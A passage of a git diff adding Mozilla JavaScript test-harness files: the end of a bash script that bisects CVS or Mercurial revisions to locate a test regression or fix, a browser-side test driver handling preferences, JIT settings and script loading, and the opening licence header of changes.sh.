+ echo "checking that the test passes in the good revision $bisect_good"
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+ export MOZ_CO_DATE="$bisect_good"
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "checkout" > /dev/null
+
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run."
+ else
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, good revision $bisect_good *not* confirmed"
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, good revision $bisect_good confirmed"
+ good_confirmed=1
+ fi
+ fi
+
+ if [[ "$good_confirmed" != "1" ]]; then
+ error "good revision not confirmed";
+ fi
+
+ echo "bisecting $bisect_start to $bisect_stop"
+
+ #
+ # place an array of dates of checkins into an array and
+ # perform a binary search on those dates.
+ #
+ declare -a seconds_array date_array
+
+ # load the cvs checkin dates into an array. the array will look like
+ # date_array[i] date value
+ # date_array[i+1] time value
+
+ pushd $BUILDTREE/mozilla
+ date_array=(`cvs -q -z3 log -N -d "$bisect_start<$bisect_stop" | grep "^date: " | sed 's|^date: \([^;]*\).*|\1|' | sort -u`)
+ popd
+
+ let seconds_index=0 1
+ let date_index=0 1
+
+ while (( $date_index < ${#date_array[@]} )); do
+ seconds_array[$seconds_index]=`dateparse.pl "${date_array[$date_index]} ${date_array[$date_index+1]} UTC"`
+ let seconds_index=$seconds_index+1
+ let date_index=$date_index+2
+ done
+
+ let seconds_index_start=0 1
+ let seconds_index_stop=${#seconds_array[@]}
+
+ while true; do
+
+ if (( $seconds_index_start+1 >= $seconds_index_stop )); then
+ echo "*** date `perl -e 'print scalar localtime $ARGV[0];' ${seconds_array[$seconds_index_stop]}` found ***"
+ break;
+ fi
+
+ unset result
+
+ # clobber before setting new changeset.
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+
+ let seconds_index_middle="($seconds_index_start + $seconds_index_stop)/2"
+ let seconds_middle="${seconds_array[$seconds_index_middle]}"
+
+ bisect_middle="`perl -e 'print scalar localtime $ARGV[0];' $seconds_middle`"
+ export MOZ_CO_DATE="$bisect_middle"
+ echo "testing $MOZ_CO_DATE"
+
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "checkout" > /dev/null
+
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run. Skipping changeset"
+ let seconds_index_start=$seconds_index_start+1
+ else
+ if [[ "$searchtype" == "regression" ]]; then
+ # searching for a regression, pass -> fail
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found"
+ let seconds_index_stop=$seconds_index_middle;
+ else
+ echo "test failure $bisect_test.*$bisect_string not found"
+ let seconds_index_start=$seconds_index_middle
+ fi
+ else
+ # searching for a fix, fail -> pass
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found"
+ let seconds_index_start=$seconds_index_middle
+ else
+ echo "test failure $bisect_test.*$bisect_string not found"
+ let seconds_index_stop=$seconds_index_middle
+ fi
+ fi
+ fi
+
+ done
+else
+ #
+ # binary search using mercurial
+ #
+
+ TEST_MOZILLA_HG_LOCAL=${TEST_MOZILLA_HG_LOCAL:-$BUILDDIR/hg.mozilla.org/`basename $TEST_MOZILLA_HG`}
+ hg -R $TEST_MOZILLA_HG_LOCAL pull -r tip
+
+ REPO=$BUILDTREE/mozilla
+ hg -R $REPO pull -r tip
+
+ # convert revision numbers to local revision numbers for ordering
+ localgood=`hg -R $REPO id -n -r $bisect_good`
+ localbad=`hg -R $REPO id -n -r $bisect_bad`
+
+ # if good < bad, then we are searching for a regression,
+ # i.e. the first bad changeset
+ # if bad < good, then we are searching for a fix.
+ # i.e. the first good changeset. so we reverse the nature
+ # of good and bad.
+
+ if (( $localgood < $localbad )); then
+ cat <<EOF
+
+searching for a regression between $localgood:$bisect_good and $localbad:$bisect_bad
+the result is considered good when the test result does not appear in the failure log, bad otherwise.
+the bisection is searching for the transition from test failure not found, to test failure found.
+
+EOF
+
+ searchtype="regression"
+ bisect_start=$bisect_good
+ bisect_stop=$bisect_bad
+ else
+ cat <<EOF
+
+searching for a fix between $localbad:$bisect_bad and $localgood:$bisect_good
+the result is considered good when the test result does appear in the failure log, bad otherwise.
+the bisection is searching for the transition from test failure found to test failure not found.
+
+EOF
+
+ searchtype="fix"
+ bisect_start=$bisect_bad
+ bisect_stop=$bisect_good
+ fi
+
+ echo "checking that the test fails in the bad revision $localbad:$bisect_bad"
+ if [[ -z "$bisect_depends" ]]; then
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+ fi
+ hg -R $REPO update -C -r $bisect_bad
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run."
+ else
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, bad revision $localbad:$bisect_bad confirmed"
+ bad_confirmed=1
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, bad revision $localbad:$bisect_bad *not* confirmed"
+ fi
+ fi
+
+ if [[ "$bad_confirmed" != "1" ]]; then
+ error "bad revision not confirmed";
+ fi
+
+ echo "checking that the test passes in the good revision $localgood:$bisect_good"
+ if [[ -z "$bisect_depends" ]]; then
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+ fi
+ hg -R $REPO update -C -r $bisect_good
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run."
+ else
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, good revision $localgood:$bisect_good *not* confirmed"
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, good revision $localgood:$bisect_good confirmed"
+ good_confirmed=1
+ fi
+ fi
+
+ if [[ "$good_confirmed" != "1" ]]; then
+ error "good revision not confirmed";
+ fi
+
+ echo "bisecting $REPO $bisect_start to $bisect_stop"
+ hg -q -R $REPO bisect --reset
+ hg -q -R $REPO bisect --good $bisect_start
+ hg -q -R $REPO bisect --bad $bisect_stop
+
+ while true; do
+ unset result
+
+ # clobber before setting new changeset.
+ if [[ -z "$bisect_depends" ]]; then
+ eval $TEST_DIR/bin/builder.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -B "clobber" > /dev/null
+ fi
+
+ # remove extraneous in-tree changes
+ # See https://bugzilla.mozilla.org/show_bug.cgi?id=480680 for details
+ # of why this is necessary.
+ hg -R $REPO update -C
+
+ hg -R $REPO bisect
+ # save the revision id so we can update to it discarding local
+ # changes in the working directory.
+ rev=`hg -R $REPO id -i`
+
+ bisect_log=`eval $TEST_JSDIR/runtests.sh -p $bisect_product -b $bisect_branch $bisect_extraflag -T $bisect_buildtype -I $bisect_test -B "build" -c -t -X /dev/null 2>&1 | grep '_js.log $' | sed 's|log: \([^ ]*\) |\1|'`
+ # remove extraneous in-tree changes
+ # See https://bugzilla.mozilla.org/show_bug.cgi?id=480680 for details
+ # of why this is necessary.
+ hg -R $REPO update -C -r $rev
+
+ if [[ -z "$bisect_log" ]]; then
+ echo "test $bisect_test not run. Skipping changeset"
+ hg -R $REPO bisect --skip
+ else
+ if [[ "$searchtype" == "regression" ]]; then
+ # searching for a regression
+ # the result is considered good when the test does not appear in the failure log
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, marking revision bad"
+ if ! result=`hg -R $REPO bisect --bad 2>&1`; then
+ echo "bisect bad failed"
+ error "$result"
+ fi
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, marking revision good"
+ if ! result=`hg -R $REPO bisect --good 2>&1`; then
+ echo "bisect good failed"
+ error "$result"
+ fi
+ fi
+ else
+ # searching for a fix
+ # the result is considered good when the test does appear in the failure log
+ if egrep -q "$bisect_test.*$bisect_string" ${bisect_log}-results-failures.log; then
+ echo "test failure $bisect_test.*$bisect_string found, marking revision good"
+ if ! result=`hg -R $REPO bisect --good 2>&1`; then
+ echo "bisect good failed"
+ error "$result"
+ fi
+ else
+ echo "test failure $bisect_test.*$bisect_string not found, marking revision bad"
+ if ! result=`hg -R $REPO bisect --bad 2>&1`; then
+ echo "bisect bad failed"
+ error "$result"
+ fi
+ fi
+ fi
+ fi
+
+ if echo $result | egrep -q "The first (good|bad) revision is:"; then
+ result_revision=`echo $result | sed "s|The first .* revision is:.*changeset: [0-9]*:\([^ ]*\).*|\1|"`
+ echo $result | sed "s|The first .* revision is:|$searchtype|"
+ echo "*** revision $result_revision found ***"
+ break
+ fi
+
+ done
+fi
diff --git a/browser.js b/browser.js
new file mode 100755
index 0000000..369ee1b
--- /dev/null
+++ b/browser.js
@@ -0,0 +1,817 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is mozilla.org code.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1998
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+var gPageCompleted;
+var GLOBAL = this + '';
+
+function htmlesc(str) {
+ if (str == '<')
+ return '<';
+ if (str == '>')
+ return '>';
+ if (str == '&')
+ return '&';
+ return str;
+}
+
+function DocumentWrite(s)
+{
+ try
+ {
+ var msgDiv = document.createElement('div');
+ msgDiv.innerHTML = s;
+ document.body.appendChild(msgDiv);
+ msgDiv = null;
+ }
+ catch(excp)
+ {
+ document.write(s + '<br>\n');
+ }
+}
+
+function print() {
+ var s = '';
+ var a;
+ for (var i = 0; i < arguments.length; i++)
+ {
+ a = arguments[i];
+ s += String(a) + ' ';
+ }
+
+ if (typeof dump == 'function')
+ {
+ dump( s + '\n');
+ }
+
+ s = s.replace(/[<>&]/g, htmlesc);
+
+ DocumentWrite(s);
+}
+
+function writeHeaderToLog( string ) {
+ string = String(string);
+
+ if (typeof dump == 'function')
+ {
+ dump( string + '\n');
+ }
+
+ string = string.replace(/[<>&]/g, htmlesc);
+
+ DocumentWrite( "<h2>" + string + "</h2>" );
+}
+
+function writeFormattedResult( expect, actual, string, passed ) {
+ string = String(string);
+
+ if (typeof dump == 'function')
+ {
+ dump( string + '\n');
+ }
+
+ string = string.replace(/[<>&]/g, htmlesc);
+
+ var s = "<tt>"+ string ;
+ s += "<b>" ;
+ s += ( passed ) ? "<font color=#009900> " + PASSED
+ : "<font color=#aa0000> " + FAILED + expect + "</tt>";
+
+ DocumentWrite( s + "</font></b></tt><br>" );
+ return passed;
+}
+
+window.onerror = function (msg, page, line)
+{
+ optionsPush();
+
+ if (typeof DESCRIPTION == 'undefined')
+ {
+ DESCRIPTION = 'Unknown';
+ }
+ if (typeof EXPECTED == 'undefined')
+ {
+ EXPECTED = 'Unknown';
+ }
+
+ var testcase = new TestCase(gTestfile, DESCRIPTION, EXPECTED, "error");
+
+ if (document.location.href.indexOf('-n.js') != -1)
+ {
+ // negative test
+ testcase.passed = true;
+ }
+
+ testcase.reason = page + ':' + line + ': ' + msg;
+
+ reportFailure(msg);
+
+ optionsReset();
+};
+
+function gc()
+{
+ // Thanks to igor.bukanov@gmail.com
+ for (var i = 0; i != 4e6; ++i)
+ {
+ var tmp = i + 0.1;
+ }
+}
+
+function jsdgc()
+{
+ try
+ {
+ // Thanks to dveditz
+ netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
+ var jsdIDebuggerService = Components.interfaces.jsdIDebuggerService;
+ var service = Components.classes['@mozilla.org/js/jsd/debugger-service;1'].
+ getService(jsdIDebuggerService);
+ service.GC();
+ }
+ catch(ex)
+ {
+ print('gc: ' + ex);
+ }
+}
+
+function quit()
+{
+}
+
+function Preferences(aPrefRoot)
+{
+ try
+ {
+ this.orig = {};
+ this.privs = 'UniversalXPConnect UniversalPreferencesRead ' +
+ 'UniversalPreferencesWrite';
+
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ var nsIPrefService = Components.interfaces.nsIPrefService;
+ var nsIPrefBranch = Components.interfaces.nsIPrefBranch;
+ var nsPrefService_CONTRACTID = "@mozilla.org/preferences-service;1";
+
+ this.prefRoot = aPrefRoot;
+ this.prefService = Components.classes[nsPrefService_CONTRACTID].
+ getService(nsIPrefService);
+ this.prefBranch = this.prefService.getBranch(aPrefRoot).
+ QueryInterface(Components.interfaces.nsIPrefBranch2);
+ }
+ }
+ catch(ex)
+ {
+ }
+
+}
+
+function Preferences_getPrefRoot()
+{
+ var root;
+
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ }
+
+ root = this.prefBranch.root;
+ }
+ catch(ex)
+ {
+ }
+ return root;
+}
+
+function Preferences_getPref(aPrefName)
+{
+ var value;
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ value = this.prefBranch.getBoolPref(aPrefName);
+ }
+ }
+ catch(ex)
+ {
+ }
+ return value;
+}
+
+function Preferences_getBoolPref(aPrefName)
+{
+ var value;
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ value = this.prefBranch.getBoolPref(aPrefName);
+ }
+ }
+ catch(ex)
+ {
+ }
+ return value;
+}
+
+function Preferences_getIntPref(aPrefName)
+{
+ var value;
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ value = this.prefBranch.getIntPref(aPrefName);
+ }
+ }
+ catch(ex)
+ {
+ }
+ return value;
+}
+
+function Preferences_getCharPref(aPrefName)
+{
+ var value;
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ value = this.prefBranch.getCharPref(aPrefName);
+ }
+ }
+ catch(ex)
+ {
+ }
+ return value;
+}
+
+function Preferences_setPref(aPrefName, aPrefValue)
+{
+ var value;
+
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ if (typeof this.orig[aPrefName] == 'undefined')
+ {
+ this.orig[aPrefName] = this.getPref(aPrefName);
+ }
+
+ value = this.prefBranch.setBoolPref(aPrefName, Boolean(aPrefValue));
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_setBoolPref(aPrefName, aPrefValue)
+{
+ var value;
+
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ if (typeof this.orig[aPrefName] == 'undefined')
+ {
+ this.orig[aPrefName] = this.getBoolPref(aPrefName);
+ }
+
+ value = this.prefBranch.setBoolPref(aPrefName, Boolean(aPrefValue));
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_setIntPref(aPrefName, aPrefValue)
+{
+ var value;
+
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ if (typeof this.orig[aPrefName] == 'undefined')
+ {
+ this.orig[aPrefName] = this.getIntPref(aPrefName);
+ }
+
+ value = this.prefBranch.setIntPref(aPrefName, Number(aPrefValue));
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_setCharPref(aPrefName, aPrefValue)
+{
+ var value;
+
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ if (typeof this.orig[aPrefName] == 'undefined')
+ {
+ this.orig[aPrefName] = this.getCharPref(aPrefName);
+ }
+
+ value = this.prefBranch.setCharPref(aPrefName, String(aPrefValue));
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_resetPref(aPrefName)
+{
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+
+ if (aPrefName in this.orig)
+ {
+ if (typeof this.orig[aPrefName] == 'undefined')
+ {
+ this.clearPref(aPrefName);
+ }
+ else
+ {
+ this.setPref(aPrefName, this.orig[aPrefName]);
+ }
+ }
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_resetAllPrefs()
+{
+ try
+ {
+ var prefName;
+ var prefValue;
+
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ for (prefName in this.orig)
+ {
+ this.setPref(prefName, this.orig[prefName]);
+ }
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+function Preferences_clearPref(aPrefName)
+{
+ try
+ {
+ if (typeof netscape != 'undefined' &&
+ 'security' in netscape &&
+ 'PrivilegeManager' in netscape.security &&
+ 'enablePrivilege' in netscape.security.PrivilegeManager)
+ {
+ netscape.security.PrivilegeManager.enablePrivilege(this.privs);
+ this.prefBranch.clearUserPref(aPrefName);
+ }
+ }
+ catch(ex)
+ {
+ }
+}
+
+Preferences.prototype.getPrefRoot = Preferences_getPrefRoot;
+Preferences.prototype.getPref = Preferences_getPref;
+Preferences.prototype.getBoolPref = Preferences_getBoolPref;
+Preferences.prototype.getIntPref = Preferences_getIntPref;
+Preferences.prototype.getCharPref = Preferences_getCharPref;
+Preferences.prototype.setPref = Preferences_setPref;
+Preferences.prototype.setBoolPref = Preferences_setBoolPref;
+Preferences.prototype.setIntPref = Preferences_setIntPref;
+Preferences.prototype.setCharPref = Preferences_setCharPref;
+Preferences.prototype.resetAllPrefs = Preferences_resetAllPrefs;
+Preferences.prototype.resetPref = Preferences_resetPref;
+Preferences.prototype.clearPref = Preferences_clearPref;
+
+function options(aOptionName)
+{
+ // return value of options() is a comma delimited list
+ // of the previously set values
+
+ var value = '';
+ for (var optionName in options.currvalues)
+ {
+ value += optionName + ',';
+ }
+ if (value)
+ {
+ value = value.substring(0, value.length-1);
+ }
+
+ if (aOptionName)
+ {
+ if (options.currvalues[aOptionName])
+ {
+ // option is set, toggle it to unset
+ delete options.currvalues[aOptionName];
+ options.preferences.setPref(aOptionName, false);
+ }
+ else
+ {
+ // option is not set, toggle it to set
+ options.currvalues[aOptionName] = true;
+ options.preferences.setPref(aOptionName, true);
+ }
+ }
+
+ return value;
+}
+
+function optionsInit() {
+
+ // hash containing the set options
+ options.currvalues = {strict: '',
+ werror: '',
+ atline: '',
+ xml: '',
+ relimit: '',
+ anonfunfux: ''
+ }
+
+ // record initial values to support resetting
+ // options to their initial values
+ options.initvalues = {};
+
+ // record values in a stack to support pushing
+ // and popping options
+ options.stackvalues = [];
+
+ options.preferences = new Preferences('javascript.options.');
+
+ for (var optionName in options.currvalues)
+ {
+ if (!options.preferences.getPref(optionName))
+ {
+ delete options.currvalues[optionName];
+ }
+ else
+ {
+ options.initvalues[optionName] = '';
+ }
+ }
+}
+
+function gczeal(z)
+{
+ var javascriptoptions = new Preferences('javascript.options.');
+ javascriptoptions.setIntPref('gczeal', Number(z));
+}
+
+var gJit = { content: undefined, chrome: undefined };
+
+function jit(on)
+{
+ var jitoptions = new Preferences('javascript.options.jit.');
+
+ if (typeof gJit.content == 'undefined')
+ {
+ gJit.content = jitoptions.getBoolPref('content');
+ gJit.chrome = jitoptions.getBoolPref('chrome');
+ }
+
+ if (on)
+ {
+ jitoptions.setBoolPref('content', true);
+ jitoptions.setBoolPref('chrome', false);
+ }
+ else
+ {
+ jitoptions.setBoolPref('content', false);
+ jitoptions.setBoolPref('chrome', false);
+ }
+}
+
+var gVersion = 150;
+
+function jsTestDriverBrowserInit()
+{
+ if (typeof dump != 'function')
+ {
+ dump = print;
+ }
+
+ optionsInit();
+ optionsClear();
+
+ if (document.location.search.indexOf('?') != 0)
+ {
+ // not called with a query string
+ return;
+ }
+
+ var properties = {};
+ var fields = document.location.search.slice(1).split(';');
+ for (var ifield = 0; ifield < fields.length; ifield++)
+ {
+ var propertycaptures = /^([^=]+)=(.*)$/.exec(fields[ifield]);
+ if (!propertycaptures)
+ {
+ properties[fields[ifield]] = true;
+ }
+ else
+ {
+ properties[propertycaptures[1]] = decodeURIComponent(propertycaptures[2]);
+ if (propertycaptures[1] == 'language')
+ {
+ // language=(type|language);mimetype
+ properties.mimetype = fields[ifield+1];
+ }
+ }
+ }
+
+ if (properties.language != 'type')
+ {
+ try
+ {
+ properties.version = /javascript([.0-9]+)/.exec(properties.mimetype)[1];
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ if (!properties.version && navigator.userAgent.indexOf('Gecko/') != -1)
+ {
+ // If the version is not specified, and the browser is Gecko,
+ // adjust the version to match the suite version.
+ if (properties.test.match(/^js1_6/))
+ {
+ properties.version = '1.6';
+ }
+ else if (properties.test.match(/^js1_7/))
+ {
+ properties.version = '1.7';
+ }
+ else if (properties.test.match(/^js1_8/))
+ {
+ properties.version = '1.8';
+ }
+ else if (properties.test.match(/^js1_8_1/))
+ {
+ properties.version = '1.8';
+ }
+ else
+ {
+ properties.version = '1.5';
+ }
+ }
+
+ gTestPath = properties.test;
+
+ gVersion = 10*parseInt(properties.version.replace(/\./g, ''));
+
+ if (properties.gczeal)
+ {
+ gczeal(Number(properties.gczeal));
+ }
+
+ /*
+ * since the default setting of jit changed from false to true
+ * in http://hg.mozilla.org/tracemonkey/rev/685e00e68be9
+ * bisections which depend upon jit settings can be thrown off.
+ * default jit(false) to make bisections depending upon jit settings
+ * consistent over time. This is not needed in shell tests as the default
+ * jit setting has not changed there.
+ */
+
+ jit(properties.jit);
+
+ var testpathparts = properties.test.split(/\//);
+
+ if (testpathparts.length < 3)
+ {
+ // must have at least suitepath/subsuite/testcase.js
+ return;
+ }
+ var suitepath = testpathparts.slice(0,testpathparts.length-2).join('/');
+ var subsuite = testpathparts[testpathparts.length - 2];
+ var test = testpathparts[testpathparts.length - 1];
+
+ document.write('<title>' + suitepath + '/' + subsuite + '/' + test + '<\/title>');
+
+ // XXX bc - the first document.written script is ignored if the protocol
+ // is file:. insert an empty script tag, to work around it.
+ document.write('<script></script>');
+
+ outputscripttag(suitepath + '/shell.js', properties);
+ outputscripttag(suitepath + '/browser.js', properties);
+ outputscripttag(suitepath + '/' + subsuite + '/shell.js', properties);
+ outputscripttag(suitepath + '/' + subsuite + '/browser.js', properties);
+ outputscripttag(suitepath + '/' + subsuite + '/' + test, properties,
+ properties.e4x || /e4x\//.test(properties.test));
+ outputscripttag('js-test-driver-end.js', properties);
+ return;
+}
+
+function outputscripttag(src, properties, e4x)
+{
+ if (!src)
+ {
+ return;
+ }
+
+ if (e4x)
+ {
+ // e4x requires type=mimetype;e4x=1
+ properties.language = 'type';
+ }
+
+ var s = '<script src="' + src + '" ';
+
+ if (properties.language != 'type')
+ {
+ s += 'language="javascript';
+ if (properties.version)
+ {
+ s += properties.version;
+ }
+ }
+ else
+ {
+ s += 'type="' + properties.mimetype;
+ if (properties.version)
+ {
+ s += ';version=' + properties.version;
+ }
+ if (e4x)
+ {
+ s += ';e4x=1';
+ }
+ }
+ s += '"><\/script>';
+
+ document.write(s);
+}
+
+function jsTestDriverEnd()
+{
+ // gDelayTestDriverEnd is used to
+ // delay collection of the test result and
+ // signal to Spider so that tests can continue
+ // to run after page load has fired. They are
+ // responsible for setting gDelayTestDriverEnd = true
+ // then when completed, setting gDelayTestDriverEnd = false
+ // then calling jsTestDriverEnd()
+
+ if (gDelayTestDriverEnd)
+ {
+ return;
+ }
+
+ window.onerror = null;
+
+ try
+ {
+ var javascriptoptions = new Preferences('javascript.options.');
+ javascriptoptions.clearPref('gczeal');
+
+ var jitoptions = new Preferences('javascript.options.jit.');
+ if (typeof gJit.content != 'undefined')
+ {
+ jitoptions.setBoolPref('content', gJit.content);
+ }
+
+ if (typeof gJit.chrome != 'undefined')
+ {
+ jitoptions.setBoolPref('chrome', gJit.chrome);
+ }
+
+ optionsReset();
+ }
+ catch(ex)
+ {
+ dump('jsTestDriverEnd ' + ex);
+ }
+
+ if (window.opener && window.opener.runNextTest)
+ {
+ if (window.opener.reportCallBack)
+ {
+ window.opener.reportCallBack(window.opener.gWindow);
+ }
+ setTimeout('window.opener.runNextTest()', 250);
+ }
+ else
+ {
+ for (var i = 0; i < gTestcases.length; i++)
+ {
+ gTestcases[i].dump();
+ }
+
+ // tell Spider page is complete
+ gPageCompleted = true;
+ }
+}
+
+jsTestDriverBrowserInit();
diff --git a/changes.sh b/changes.sh
new file mode 100755
index 0000000..db94c2c
--- /dev/null
+++ b/changes.sh
@@ -0,0 +1,122 @@
+#!/bin/bash
+# -*- Mode: Shell-script; tab-width: 4; indent-tabs-mode: nil; -*-
+
+# ***** BEGIN LICENSE BLOCK *****
+# Version: MPL 1.1/GPL 2.0/LGPL 2.1
+#
+# The contents of this file are subject to the Mozilla Public License Version
+# 1.1 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+# http://www.mozilla.org/MPL/
+#
+# Software distributed under the License is distributed on an "AS IS" basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+# for the specific language governing rights and limitations under the
+# License.
+#
+# The Original Code is Mozilla JavaScript Testing Utilities
+#
+# The Initial Developer of the Original Code is
+# Mozilla Corporation.
+# Portions created by the Initial Developer are Copyright (C) 2008
+# the Initial Developer. All Rights Reserved.
+#
+# Contributor(s): Bob Clary <bclary@bclary.com>
+#
+# Alternatively, the contents of this file may be used under the terms of
+# either the GNU General Public License Version 2 or later (the "GPL"), or
+# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
